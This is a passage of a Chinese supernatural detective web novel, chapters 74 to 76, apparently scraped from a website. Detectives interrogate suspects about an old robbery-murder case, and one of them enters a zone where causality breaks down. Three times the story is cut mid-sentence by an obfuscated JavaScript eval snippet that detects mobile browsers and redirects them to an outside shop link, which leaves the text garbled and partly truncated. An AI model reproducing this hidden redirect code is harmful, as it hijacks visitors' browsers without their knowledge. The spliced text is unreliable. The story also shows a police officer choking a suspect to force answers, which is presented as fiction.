方许恩试探着问:“你叫吧,就算叫破了喉咙也没人来救你?” 秦于理点头:“对,就是这个。”她说,“重案组办事,因果域隔离,你就算叫破了喉咙也没人会来救你!”她说着,手上发力,张瑞的表情顿时变得愈发狰狞,他眼球突出,像是马上要爆出眼眶,额头则青筋必露,就连嘴唇颜色都变紫了。 “够了!你不就是想知道我们掌握的信息吗,放开他,我告诉你们!”高秋霞终于改变了自己刚刚油盐不进的态度,对秦于理说。 没想到秦于理却回了一句:“不用。” 高秋霞睁大眼睛:“你说什么?” 秦于理说:“不用你告诉。虽然你们是假冒的重生者,但你们身上的确有重生污染,只要把你们搞到濒死状态,我再费点力气,一样能切进你们的因果世界了解前因后果,这可比从你们嘴里说出来的要真实多了!”说罢,秦于理再次加大力气,张瑞难受得双手在空中乱舞,秦于理对方许恩大喝一声:“干看着做什么,把他的手压住,别让他挠出痕迹来,不然死了人要负责任!” 方许恩:“!!” 方许恩甚至来不及想明白自己要负什么责任,为什么没痕迹就不用负责任了,他只是赶紧伸手去压住张瑞的胳膊,后者此时力气大极,方许恩怕摁不住,只好把整个人都压了上去,这下张瑞都开始翻白眼了。 “住手,你们住手!”眼看着张瑞要不行了,高秋霞的脸色终于彻底变了,她被捆缚住了手脚,两者之间还有绳头连着,此时就算想站都站不起来。 “放开张瑞,他跟这件事没关系!”高秋霞在地上拼命蛄蛹着咆哮,“他跟所有事情都没关系!张瑞只是陪我来的,要杀杀我,我才是当事人,居振华是我们家的救命恩人,我是来为他讨公道的!!!” “居振华?”秦于理警告地盯着张瑞,慢慢松开掐住他脖子的手,空气重新回到了张瑞的呼吸道里,他如获新生般趴跪在地上,一边咳嗽一边贪婪地吸取着新鲜空气,再也不敢反抗。 “你不知道居叔叔?”高秋霞失声惊叫,似乎秦于理刚刚那三个字比其他任何一句话都更刺痛了她的心,“你们怎么会不认识他呢,他也是英雄啊,他也是在和刘克爽团伙的搏斗中牺牲的!” 秦于理掏出手机,打开文档翻了一阵,才找到了那个不甚熟悉的名字。 居振华,白城基层刑警,也就是那名安插在刘克爽团体内部的“卧底警探”。当初刘克爽团伙打算抢劫运钞车的时候突然遇到妇人携女拦路求救,请求搭便车去城里医院看病,刘克爽恐怕耽误自己的计划,举枪射杀妇孺,居振华为了保住那对母女,被迫提前行动,结果暴露了身份,当场遇害,这也导致总攻提前,刘克爽放弃前往吉城的原计划,转进到红星农场。 秦于理放下手机,想了一下说:“不好意思,刚刚一时没想起来,现在我知道了。” 高秋霞的表情变了几变,初时似乎想要发作,随后却又觉得有些哀伤,最后化为长长一声叹息。她说:“我早就该想到,明明一样做出了贡献,可大家就是不记得他,大家只记得刘克爽,记得武东青,记得他俩的什么殊死一战,没人记得居叔叔在那起案子中付出了多少,牺牲了多少,他最后甚至献出了自己宝贵的生命!” 秦于理说:“的确,聚光灯常常只能照到一小撮人。”像他们重案组不仅照不到,还埋在地下,只是秦于理不在乎罢了。 高秋霞咬牙切齿地说:“照不到就照不到,不记得也没所谓,可他们还要骂居叔叔,骂我们家!” 秦于理疑惑地问:“你是……” “我妈妈就是当初拦路求救的母女里那个生病的孩子,那个下跪拦车子的是我外婆!” 秦于理恍然大悟,原来高秋霞和整起案子的交集点在这里! 高秋霞说:“你知道吗,红星农场事发后,很多受害者家属去居叔叔家和我们家骂我们,他们说要不是我妈妈和外婆破坏了警方的计划,要不是居叔叔沉不住气,擅自行动,刘克爽就不会改道去红星农场,他们的亲人就不会死!他们还说,凭什么他们的亲人被害死了,我妈妈和外婆却活了下来,说我妈妈他们也是杀人凶手! “明明我们家也是受害者啊,他们却把我们当成仇人一样对待!好多年里,那些人隔三差五就上居叔叔家和我们家闹事,朝我们丢臭鸡蛋烂蔬菜,往我们家大门泼大粪,要不是他们,我奶奶也不会不到六十就郁郁而终,我妈妈也不会无心读书,早早离开了学校!你知道吗,他们最过分的时候还曾说过,我们家两条命是用他们家人的九条命换来的,本来该死的是我奶奶和妈妈,而不是他们的亲人!” 回忆起那些恶毒的谩骂,高秋霞的平静面具终于彻底被撕下。时隔三十九年,尽管以高秋霞的年纪,应当并没有亲身经历过高家人被众人迁怒的那段难熬岁月,但那份痛苦、愤怒、委屈与无助还是通过她的长辈们一分不差的传递到了她这里,并促成了多年后她的行动。 秦于理说:“我能理解你对红星农场被害者家属迁怒于你家人的愤怒,可这和蒋小龙又有什么关系?” 高秋霞反问:“你知道蒋小龙,不,郑小龙是谁吗?” 秦于理选择性回答道:“知道,他是当年红星农场十个人质里唯一的幸存者,也是被刘克爽挟持带上山的那个人质。” “他算什么人质?呸!”高秋霞骂道,“郑小龙根本不是什么无辜路人,他是刘克爽的儿子!刘克爽当年把他带上山也不是为了拿他当人质,他是想把自己儿子一起带到国外去!” 秦于理皱眉:“你说蒋小龙是刘克爽的儿子,你有证据吗?” 虽然秋樰生曾经告知秦于理蒋小龙有刘家血脉,但因为刘克爽本人和他几个堂兄弟基本已经死亡,他本人连尸体都没留下,无从提取DNA比对,所以重案组对蒋小龙的身份目前也只掌握到是刘家人为止,并不确定他具体是哪个刘的孩子。 高秋霞说:“那件事之后,我奶奶和妈妈一直心存愧疚,她们想着至少要给居叔叔正名,所以一有时间,就全部花在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16843815|183154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 推敲当年的事情上。几十年里,我奶奶跑不动了我妈妈跑,我妈妈年纪大了,我跑,我们都曾无数次回到那个案发现场,试图寻找当年的事情有没有第二种可能,但结果可想而知。我妈妈突发疾病是无法预估的,我奶奶不可能放着她不管,那个年代交通和通讯都不发达,我奶奶没法也没钱叫救护车,更没条件自己开车送我妈妈去医院,想要我妈妈活,她唯一的办法就是去公路上拦车,就是那个时间段,就是那一天,刚刚好,她们不可能不遇见刘克爽……” 高秋霞哽咽了一下,说:“但是,无数次研究当年的案件后,我妈妈发现当年刘克爽事情败露后逃跑的最佳路线并不是去红星农场,他完全可以走另一条路直接逃进山里,然后翻山到国外去。警方当时的判断是刘克爽在被警察围捕时慌不择路,误打误撞开去了红星农场,我妈妈觉得不是,我也赞同。一个身上背着十多条人命的悍匪怎么可能心理素质那么差,我们都认定红星农场有问题,所以,当我成长起来以后,我便以悬疑探灵up主的身份找了很多人了解情况。” “你猜怎么着?”高秋霞说,“也许是时间久了,人们都愿意回想了。不止一个红星农场的老职工告诉我,蒋双双有段时间经常被人目击到周末被一部黑色桑塔纳小轿车接走,上班前又送回来,回来的时候总是带着大包小包的礼物。我辗转拿到了当年农场的门卫登记本,顺着车牌号摸到那部车登记在刘克爽堂弟刘庆利名下,刘庆利那时候也跟着他堂哥混,但他胆子小,只敢做些欺负同村邻里的小勾当,以他当时的收入根本买不起车,他也不会开车,所以,那辆轿车就是刘克爽在使用!” “你是想说,三十九年前的腊月初七,刘克爽原本就预备要去红星农场?” “对,我认为他要去接他的情人和孩子!” “这里有个问题。”秦于理说,“你自己刚刚也说过,你妈妈突发疾病,你奶奶下跪拦车是个突发事件,如果没有她们,刘克爽本来该去的是吉城。” “你知道杨彬和汤宏祖吗?” “知道,刘克爽团伙里被活捉的那两个。”秦于理说,“他俩判了无期,现在应该都出来了。” 高秋霞冷哼一声:“我花了一大笔钱撬开了他们的嘴,杨彬告诉我,当年刘克爽原本打算抢了这最后一票就金盆洗手,去国外过好日子,他让小弟们拿到钱后分头跑,他自己则是约好了某个人,说要在吉城汇合后再一起离开,你猜,刘克爽在等的人会是谁?” 秦于理的思路豁然开朗,她之前一直疑惑蒋双双为什么会在丈夫儿子都在单位的情况下,临时离开去银行汇款,如果高秋霞说的情况属实,那么很有可能原本蒋双双是打算借上班汇款这个借口,神不知鬼不觉地带走蒋小龙,母子两人一同到吉城同刘克爽会合。谁想到,命运弄人,想要陪自己老婆值班的郑家泰不请自来,而刘克爽也因为高秋霞家人的拦路求救而提前动了手。 一切仿佛一个天意的玩笑,阴差阳错之下,蒋双双只能借口汇款独自离开农场,她或许是想着先到吉城找到刘克爽再想办法把儿子接出来,没想到刘克爽因为事情败露,也临时改变主意决定直接杀到农场接上蒋双双母子,把他们一同带离国境线。 高秋霞咬牙切齿:“刘克爽那个人渣,他根本不是因为慌不择路才跑进了红星农场,他本来的目标就是那里,他杀死那些人质也不是因为要对警察开条件,而是因为他没找到蒋双双却遇见了郑家泰,他刚刚杀死了居叔叔,正是最疑神疑鬼的时候,也许他以为情人背叛了他,也许他是为了灭口或者纯粹对自己计划失败,注定走上死路的迁怒,总之,那天在红星农场的所有人都活不了!” 秦于理说:“所以,你因为刘克爽迁怒蒋小龙,杀死了他?” “我没有!”高秋霞斩钉截铁地说,“我从头至尾都没说过我们杀了郑小龙,我和张瑞看到他的时候,他就已经死了!” 75.第75章 四面楚歌 秋樰生正在追赶武东青的路上,再次收到了秦于理的联系。 “你不会有更糟糕的消息了吧?”秋樰生心里有点儿没底,他历来是做了再说的现实主义,从不预设最差的结局,但围绕武东青发生的一系列事情都让他觉得心里很不踏实,总有种事情看似在推进,但有哪里就是被忽略了的奇怪感受。 之前秦于理说重生人可以假冒这件事对秋樰生来说已经够具备冲击性了,因为那代表着不仅他这个重案组的新丁为数不多的经验不管用,就连重案组过去好不容易对抗因果修正积累下来的那套办法和设备也大半失效了。有经验,有设备,他们对付重生者都像是大海捞针,如果连这两个条件都失灵,那基本就是瞎子大海捞针,还是个不会游泳的瞎子! 秦于理说:“倒也没你想得那么糟糕,我刚刚拿到了高秋霞和张瑞的口供,弄清楚了他们和刘克爽案件以及现在的蒋小龙案件的关系……” 秋樰生不由得精神一振,前方红灯亮了,他现在不能暴露自己的身份,又为了听完秦于理的话,所以很干脆地选择了等待。 秋樰生说:“他俩和蒋小龙有什么仇怨,跟王莎莎黄舟又是什么关系?” “王莎莎和黄舟?” 秋樰生说:“我上个电话没跟你说他们?就是那对崧畔花园监控视频里凌晨出门的男女,女的就是王莎莎,她父亲王瀚锋是金鑫大楼第二任主人,就是那个因为心肌梗塞死在自己办公室里的倒霉蛋,黄舟目前拿到的身份信息都很简单,不确定是不是有被隐瞒抹掉的部分。” 秦于理说:“居然是金鑫大楼原房东的女儿……” 红灯转绿,秋樰生重新发动车辆,前方不到一公里就要到绑架武心童的罪犯指定的地点了,秋樰生观察四周,没看到张海泉、贺卫方的人,不知道他们都埋伏在哪里。他看到高架桥旁边有个小区,把车子开进去,随便找了个空位停下。 秋樰生说:“怎么,你那里也有关于金鑫大楼的发现?” 秦于理说:“你听听看。” 于是,秦于理把刚刚自己从高秋霞那里听说的高家人与刘克爽案件的渊源先简略说了一遍,然后说:“高秋霞说她和张瑞是被人召集到隀明市的,这些年来她为了给居振华正名,一直在追查蒋小龙母子的消息,一个月前,有人通过她网络账号私信给她一段视频,视频里拍的是蒋小龙活动的场景。” 秋樰生那种难受的感觉又来了,就像他刚刚在武东青家对郑金虎说过的那样,他觉得这起案子的线索太多了,多到甚至不正常,好容易秦于理那头网红两人组方面有了收束,谁想到又挖出了一个新的未知角色。 秋樰生说:“你拿到那段视频了吧,也发给我看看。我想确认一下,到底是现在自媒体太发达,人人都习惯用视频来传递消息,还是联系高秋霞的人和恐吓武东青的人是一伙的甚至是同一个人!” 秦于理说:“没问题,我共享到工作网络里,你一会儿看,我接着往下说。” 秋樰生说:“好。” 秦于理说:“高秋霞的生活轨迹和常人不同,高家三代人都想为居振华昭雪,苦于没有能力。到了高秋霞这代,她曾经去毛熊国干过雇佣兵和私人保镖,培养了很强的反侦察意识及战斗经验。对视频这个突然送上门来的线索,她十分警惕,所以一面试图联系那个提供蒋小龙情报的人套出更多的东西,一面找黑客查找这个人的真身。但对方没有给她任何有效回复,最后,黑客将发私信的ip锁定在隀明市,高秋霞又逐帧分析了视频中蒋小龙活动的背景,最后初步确定视频里的蒋小龙在金鑫大楼里。” “什么?”秋樰生吃惊。蒋小龙是个建筑装修队的小工,他可能出现在隀明市任何一个小区或大楼里面,就是不可能出现在金鑫大楼里,因为那是一栋废楼,没人会去装修一栋废楼。 “对,金鑫大楼,视频里有个镜头带到了金鑫大楼的外观,白虎头很有辨识度,但蒋小龙看起来不是在里面工作。” “那他在做什么?” “不知道,看起来有点像在闲逛。” “闲逛?”秋樰生觉得这简直匪夷所思。金鑫大楼只有一个老门卫,看不住那么大建筑,所以高秋霞两人能溜进去,蒋小龙虽然智商不高但毕竟是个成年男人,他能溜进去也情有可原,但蒋小龙为什么要去金鑫大楼里头闲逛? “所以高秋霞两人才会借口直播,去金鑫大楼找蒋小龙么?不对……”秋樰生话说到一半就意识到他的判断有问题。高秋霞找蒋小龙是因为她也知道刘克爽尸体不见的事,她怀疑刘克爽还活着,只是藏了起来,那么蒋小龙作为刘的儿子,刘克爽不可能一辈子不见他,所以她认为只要盯着蒋小龙就能顺藤摸瓜摸到刘克爽,到时候抓到刘,让他亲口承认自己和蒋双双的关系,就能为居振华正名。但这种事,很显然需要在有确凿证据之后才公开,不应该一上来就打出直播的噱头。 秦于理说:“你也发现问题了吧。” 秋樰生问:“高秋霞他们是什么时候抵达的隀明市,又是什么时候发的直播预告?” “分别是9月30号和10月3号。” 秋樰生立刻反应过来:“高秋霞既然有很强的反侦察意识,她行动前一定查过金鑫大楼,知道那是栋废楼,那么她肯定也察觉了视频中蒋小龙会出现在大楼里非常奇怪,但她手头又没有别的线索,所以在抵达隀明市后花了几天调查清楚金鑫大楼周边情况后,最终还是决定进去看看里头有没有线索,于是,在10月3日偷偷摸进了楼?” “没错,她说,他们发现了蒋小龙的尸体。” 秋樰生心里其实隐约有猜测,此时听到不过是证实,但不妨碍他仍然感到事情之诡异。高秋霞的直播是10月5日晚举行的,当晚无头男尸被发现时判定为死亡2-3天,那么10月3号很可能就是蒋小龙身亡的日子,而如果蒋小龙的死亡第一现场的确是在崧畔花园28号的卫生间里,那么,就是有人将他的尸体想办法从崧畔花园运走后丢进了金鑫大楼。 到底为什么要做这个多余的举动?抛尸可以扔进钟山,或者绑了重物丢进崧江,虽然早早晚晚都会因为各种可说不可测的原因被人发现——秋樰生看过、经手过的大多数案件都是这样,但哪一种处理方法都比把一具成年男人的尸体藏进一栋有门卫的废弃大楼更安全。 “不止如此,”秦于理说,“高秋霞表示,3号当天他们发现的蒋小龙是全尸!” 秋樰生的双手简直用力到要把方向盘折断,他问:“然后他们做了什么,我要是处在高秋霞和张瑞的位置,我会马上买张机票飞得远远的,绝不让人知道我曾经在隀明市出现过!” 双方本来就有渊源甚至可以说是过节,结果一见面“仇家”就死了,那可是跳进黄河也洗不清! “张瑞的确赞成跑路,高秋霞犹豫,她想弄明白是怎么回事,为什么蒋小龙会突然死了,而且似乎是被抽干了浑身血液而死,以及刘克爽又在哪里……不过,张瑞最后还是说服了她,可就在两人打算退房离开的时候,第二段视频发到了高秋霞的信箱里,那里头是两人翻墙进入金鑫大楼并翻看蒋小龙尸体的场景,是一段位于高处的监控视频。” 一个局! 不管谁来看,从发视频把人诱骗到隀明市,再到记录高秋霞两人发现尸体的全过程,毫无疑问都是一个请君入瓮的局,那么做局人是谁?目的何在? 秦于理说:“这个视频一出,高秋霞和张瑞显然走不了了,加上高秋霞本来的目的就是要找到刘克爽,于是两人一合计,干脆将计就计,官宣了要做金鑫大楼探灵直播的预告,预备在所有人的瞩目下发现尸体并把事情闹到足够大,逼警方入局,也让公众重新把目光聚焦到39年前的案子上。计划实施得非常顺利,只是他们都没想到,再次看到蒋小龙的时候他居然变成了一具无头男尸!” 秋樰生下车,沿着人行道往高架桥那边走。他现在穿着重案组的防护服,看起来不像警察,倒像男模,路边经过的年轻女孩都不由多看他两眼,但是看到他那阴沉到要滴下水来的表情,愣是没有一个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你终于想到这点了,”秦于理说,“我今早在警局碰到过他们俩,当时他们身上还没有重生污染,在城隍庙的时候,也看不出端倪,所以他们身上的那种假污染最早应该也是从今天下午开始展现的。虽然重生污染一开始总是非常轻微,要随着重生者的成长和做出的更改原定因果的举动增多,后果变严重而逐渐展现,直到完全成型,但那往往需要几年乃至十几年的时间,像他们这种污染进程突然大幅度跃进的,我是第一次遇见。” “那么他俩今天到底做了什么才会出现这种跃进?” “他们唯一能想到的,是上午去城隍庙给蒋小龙做长生牌位的时候,接待的道士临走前给他们吃了两粒糖果,说是城隍老爷面前供过的,能驱邪挡灾。”秦于理说着,不由得想起了城隍庙里她也曾见过的那个老道士,当时方许恩还曾经错认此人为城隍庙的住持,而霍殊似乎也并没有发现这人有什么不对的地方。刚刚秦于理再次打电话给霍殊求证的时候,霍殊也很惊讶,他表示那个老道士是别的道观里过来帮忙的,现在人已经离开了。 也就是说,霍殊也没发现此人有问题。 秦于理从这里联想到了另一个人,那个曾经给了朱平九粒花生让她掩盖重生气息的,出现在旧日隀明大剧院门房间的老头,那会是同一个人吗? 突然,电话里传来一声巨响,然后是无数电瓶车警报系统被惊动的哔哔叭叭声,秋樰生骂了一声,挂断了电话。秦于理最后听到的,是秋樰生急促奔跑的脚步声。 “什么东西炸了……”秦于理想,但她站在南郊的马路上看不到秋樰生那头的情况。 “鲤鱼姐,鲤鱼姐,你在吗?”这时,通讯网里传来了赵萌萌的声音。秦于理认识赵萌萌很多年,知道她身手一般,向来只出后勤,充当耳朵,但赵萌萌并不是个胆小的女孩,可此时,赵萌萌的声音里带着颤抖,明显很害怕。 秦于理没有多余问“你怎么了”,而是直接说:“你先找个地方躲起来,优先保住自己,我马上过来接应你!” 赵萌萌带着哭腔说:“好,鲤鱼姐,你快来啊,这里……这里突然变得好奇怪,好像有什么力量把因果都搅乱了!” 76.第76章 熵增 何为因果? 春天种下一颗种子,悉心照料,勤加看护,到了秋天,可能会结出果实,也可能因为病虫害、天灾人祸……种种原因颗粒无收,这是因果。 什么是错判因果? 春天种下一颗种子,悉心照料,勤加看护,到了秋天,种种子的人前去采摘果实,半路遇到意外身亡,家属认为一切都是种子的错,刨了树烧了根,为家人复仇叫错判因果。 什么是扭曲的因果? 为了秋天能吃上苹果,在春天种下一颗苹果种子,却不照料,不看护,任由它捱过夏天捱秋天,过完秋天到冬天,树死了,人愤怒,老天为了赔偿人的损失,突然下起苹果雨,种苹果的人拿到了想要的苹果,舒舒服服吃了好几年,这是扭曲的因果。 什么是因果污染? 为了吃苹果种下苹果种子,悉心照料,勤加看护,同村的懒人也想吃苹果,却不思劳作,看到你种的苹果每天成长一点,心里不是滋味,于是偷偷往苹果树上浇硫酸,谁想到苹果树变得比以前更强壮,只是它从此不喝水不吃药就爱喝硫酸,越浇硫酸就越茁壮,根系蔓延九百里,树高千丈可参天,到了秋天,满树结出大苹果,切开流出的苹果汁能腐蚀各种金属,从此不再有苹果,只有硫酸果,这叫因果污染。 总之,不该归因的归因了,不该出现的出现了,不该存在的存在了,健康的人有迹可循的变作了怪物,正常的事行差踏错一步步得到了非正常的果,这都是因果出问题的表现。 但不管怎么说,正常的因果、错判的因果、扭曲的因果、污染的因果都还是因果,它们的呈现依然是从因推到果,推进的过程可能是正常的、歪斜的、兜了一个圈的、兜错了圈的,但因和果之间仍然是一种紧密联系的关系,这也是重案组能够通过抽丝剥茧,循着错误的线头找到错误根源的倚仗,但赵萌萌此时所在的A区却超出了秦于理的意料。 当秦于理赶到A区外沿一百米的地方时,就已经察觉到一股隐约的混乱,那种混乱看似不致命,却将所有事物都推离了原有的轨道。 秦于理的感觉先于思考有了反应,她决定将车子靠边,步行进入A区。 这里是距离隀明市市中心东南方向四十多公里的一片街区,刚好夹在秋樰生所在的C区和秦于理刚刚抓获高秋霞二人组的B区中间,这也是重案组监测设备扫描得出的三块污染区域中最小的一块,因为有一座远近闻名的创业园区,所以年轻人多,各种公司工作室也多。 随着秦于理逐渐进入这一区域,她的身体反应也开始变得明显起来。街上来往的车流,人行道上路人的举止,路边的灯杆,花坛里的野猫……这些城市生活中常见的景象似乎都没有出问题,但是秦于理本人,却像个宿醉的酒鬼,开始失去对自身的掌握。她轻一脚重一脚地在完全平坦的人行道上行走,每一步踩下去都有不同的感受,时而觉得自己踩在软绵绵的棉花上,时而又觉得自己像一脚踩进了燃烧的篝火、冰冷的湖水或是虚无的光晕。 所见和所感是脱节的,行动与思考则是错位的,秦于理现在觉得自己就像一台中了病毒、坏掉的机器人,间歇性地不知道自己为什么要艰难地跋涉在重重阻碍的沼泽之中。 赵萌萌的声音从耳机里传来:“鲤鱼姐、鲤鱼姐,救我……”声音从一开始清脆的女声不知什么时候荒腔走板变成了粗哑的男声,跟着又变成野兽的吼声,一声声充满戾气的声音呼唤着秦于理的名字,说着让人费解的话语。 秦于理,你的背上为什么背着一个女人? 秦于理,你怎么长着一张死鱼脸? 秦于理,你的头掉啦! 秦于理,橘车停崽笔泵科路衲僧嗦哦…… 越是深入这片地带,秦于理越是感到头重脚轻,她耳朵里听到的絮叨声已经变得人山人海,有男人,有女人,有老人,有小孩,还有动物的吼叫,禽鸟的啼鸣,不知来处的呢喃和不明金属物摩擦发出的尖锐噪音…… 这样不行!秦于理很快感觉到自己的情况不妙,她凭着本能去掏补剂,想要清理自己身上的重生污染,但努力了好几次都无法将手准确地伸进自己的口袋。不仅是对外界,她好像连对自身的存在状态都产生了疑问。 “我是秦于理,重案组秦于理,我来救我的组员赵萌萌!”秦于理在昏昏沉沉的意识状态中,一个字一个字地肯定自己。突然间,她感到一股强烈的污秽的气息朝她逼近,秦于理在惊愕之下终于成功将补剂从自己口袋里掏了出来,三下五除二捏碎瓶盖,将五支补剂同时倒进了嘴里。 清凉的液体顺着食管一路向下,就像是往烧红的烙铁上泼了一瓢冰水,秦于理的神智和对身体的掌控力迅速提升,她甚至来不及看清朝自己奔袭而来的到底是什么东西,已经核心发力,整个人向后倾倒,双手撑地,将自己搭成一座桥。那股邪恶而污秽的气息几乎是擦着她的身体和脸孔上方掠过,秦于理惊讶地发现,那居然是一团缠绕在一起的动物内脏。那团东西在飞过秦于理后,发出“啪”的一声砸到某堵墙上,又掉到了地上。 秦于理直起身的刹那还有些怀疑那是自己的错觉,但当她转身定睛看去的时候便确认那并非她的精神被污染后产生的幻视。 掉在地上的那团内脏老实讲并不血腥,相反,那东西应该被清洗过很多次,因此干净得近乎苍白,秦于理很努力才辨认出那可能是鸭肠牛肚毛血旺之类的东西的混合体,不难推测是从这个片区某家火锅店后厨缝合出来的东西,但刚刚那东西袭击秦于理的时候,它们不像是一团纠缠在一起的死肉,反而像是某种科幻电影里活的怪物。 “这里到底是怎么回事?”没等秦于理想清楚,她又忽然感到背后有人迅速朝她靠近,秦于理下意识地闪身,伸手,抓住袭击者猛的一个过肩摔,将他摔了出去。袭击者砸到地上后发出叫声,那居然是一名看着有五十多岁,穿正装打领带的半谢顶大叔。 倒地的大叔并没有翻身站起,他像只被翻过身体的乌龟一样滑稽地在地面上边挥舞双手边蹬腿,诡异的眼神盯着秦于理,嘴里喊道:“妈妈妈妈,快拉我起来,妈妈妈妈,宝宝摔疼了,妈妈,宝宝肚肚饿!”越喊声音越是尖锐,很快便像个超龄巨婴一样在地上打起滚来。 秦于理难以理解眼前的一切。她擅长处理一切需要抽丝剥茧,剥洋葱一样层层推理的案件,她也曾经在各种被污染过的因果空间里见识过这样那样光怪陆离的异状,但眼前这样的景象她真的是第一次见…… 奇怪,真的是第一次吗?秦于理不知为什么,在得出下意识的结论后又产生了新的疑惑。 “鲤鱼姐!” 秦于理迅速扭头,看到街道另一侧一闪而过的身影,听声音,观穿着,那应该就是赵萌萌,但是赵萌萌怎么会见到她喊了一声就跑? 秦于理决定追上去。 周围的街景原本已经足够混乱,但原本的混乱至少还是在感知层面,现在却连肉眼可见的景观也改变了。似乎是从那团奇怪的内脏开头,整个A区都呈现出一种叫人毛骨悚然的活物感。 秦于理在奔跑中看到街边棋牌室里原本正在打牌搓麻将的人们突然全都静止不动,而后齐刷刷地站了起来看向她;她看到一只接一只的麻雀组成阵型从后方略过她的头顶然后发出哒哒哒哒不大不小的声音统一撞死在她斜前方的玻璃幕墙的同一块上;她看到玻璃幕墙后面一张张带着诡异微笑的脸孔,他们应该都是写字楼里上班的人,此时不知道为什么全都表情出奇一致的贴在玻璃幕墙后面观察她…… 秦于理再次折断了三支补剂的瓶口,在奔跑中将补剂灌进嘴里。玻璃瓶在地上摔得粉碎,那些碎片飞溅出去又突然全都弹回来,重新组合拼凑成了歪七扭八的玻璃混合物,像是一个拙劣的工匠努力复原破损文物的下场。 这简直像是熵增! 秦于理的脑海里终于得出了结论,因果的本质是规则,是秩序,而科学家提出的熵增定律描述所有有序的东西终将走向无序,从诞生走向灭亡。这个街区的确 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16859767|183154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是因果污染区,因为这是一个因果崩毁区! “鲤鱼姐!鲤鱼姐!帮帮我!” 前方不远处再次传来赵萌萌的声音,秦于理脚下一顿,她脑子变清醒了,于是果断停下来抬腕看表,果然代表赵萌萌的点从始至终都停留在她刚进街区时候记住的位置,刚刚诱骗秦于理追上去的根本就不是赵萌萌本人! 到底是什么东西在装神弄鬼! 秦于理浑身肌肉高度紧张,戒备地看向四周。她感觉自己此时像是在某种活物的覆盖范围内,地面微微起伏是那只怪物在呼吸,而怪物的阴影正在一寸寸朝她侵袭过来。 突然,一阵电话铃声打断了秦于理的思路,她吓了一跳,跟着耳朵里便传来秋樰生的声音。 “秦于理,秦于理,你在吗?你怎么了,说话!” 秦于理有些迟疑地看向四周,突然之间,周围的一切异状好像都随着这声电话铃声消失了,街边棋牌室里的人们说说笑笑的丢牌抽烟,麻雀站在电线上面跳来跳去,写字楼里还有很多人在忙碌的加班,脸上带着疲惫与厌烦。 “秦于理,我现在过来找你!” “我没事……”秦于理终于能发出声音,不知什么时候,她发现自己的嗓子都哑了。她回头看去,正看到之前见过的那个五十多的大叔一脸淡漠地从不远处路过,突然他接起电话,马上切换了一副殷勤谄媚的样子,看来不是客户就是领导的来电。大叔身后的街边火锅店门口放着一口巨大的铜锅,冒着热气发出咕嘟嘟的声音,LED屏幕上文字跟机关枪一样蹦出来:“皇阿玛毛肚火锅,百年老店,薪火传承,本店承诺底汤从清朝乾隆年间炖到今天……” 秋樰生说:“你刚刚怎么回事,突然间就没了音讯,赵萌萌联系不上你都快急哭了!” 秦于理愣了一下,说:“萌萌?” 秋樰生说:“还能有谁,不是你派她去监测A区的吗,她说接到你没头没尾的通讯,说要来救她,然后就再也联系不上了。” 秦于理的脑海里一片杂音,过了好一会儿,她才抬腕看了下表,代表赵萌萌的红点正在迅速向她靠近。 秦于理说:“我刚刚……” 秋樰生说:“你刚刚怎么了?” 秦于理闭了下眼睛,最后说:“没什么,刚刚在A区看到疑似重生污染源,但跟丢了。” 秋樰生说:“人没事就好,破案也不急着一时半会儿……啊,你等一下。”秋樰生那头不知道跟谁说话,秦于理没有挂断,她看到不远处赵萌萌正朝她跑过来,全须全尾的。 秋樰生说:“好了,武局没大碍。” 秦于理说:“武东青怎么了?”随后,她想起似乎不久前才听到过的那声巨响。 秋樰生说:“那个发恐吓预告的混蛋自制了个土炸丨药,武局被炸伤了,还好没有生命危险,你和萌萌先回去吧,我得继续跟武局走了,有事联系我,知道了吗,我是0000,不用不好意思!”说完,那头便干脆挂断了电话。 “鲤鱼姐!”赵萌萌差点扑上来,不过还是在最后一刻刹住了脚步,她知道秦于理不喜欢和人亲密接触。 秦于理将赵萌萌上下打量了一遍,问:“你没事吧?” 赵萌萌疑惑地说:“我?我一直挺好的呀。” 秦于理回想起刚刚发生的一切,再次抬腕看了下表,这次是看时间,不知不觉间,居然已经过去两个多小时了。 只有因果空间的时间才和外界是不同调的,往往比外界慢很多倍。 秦于理有些错愕,随后似乎想通了什么。 想通了什么的秦于理有点生气了,历来只有她处理他人因果,刚刚那个装神弄鬼的家伙居然想靠着伪装赵萌萌求救的因,反切入她的因果空间,结果由于她的特殊性,差点导致那个特殊空间的因果秩序崩毁。 秦于理想到这里,微微松了口气,还好,她是特殊的。 她因为特殊而与这世间所有格格不入,可也是这特殊反过来保护了她。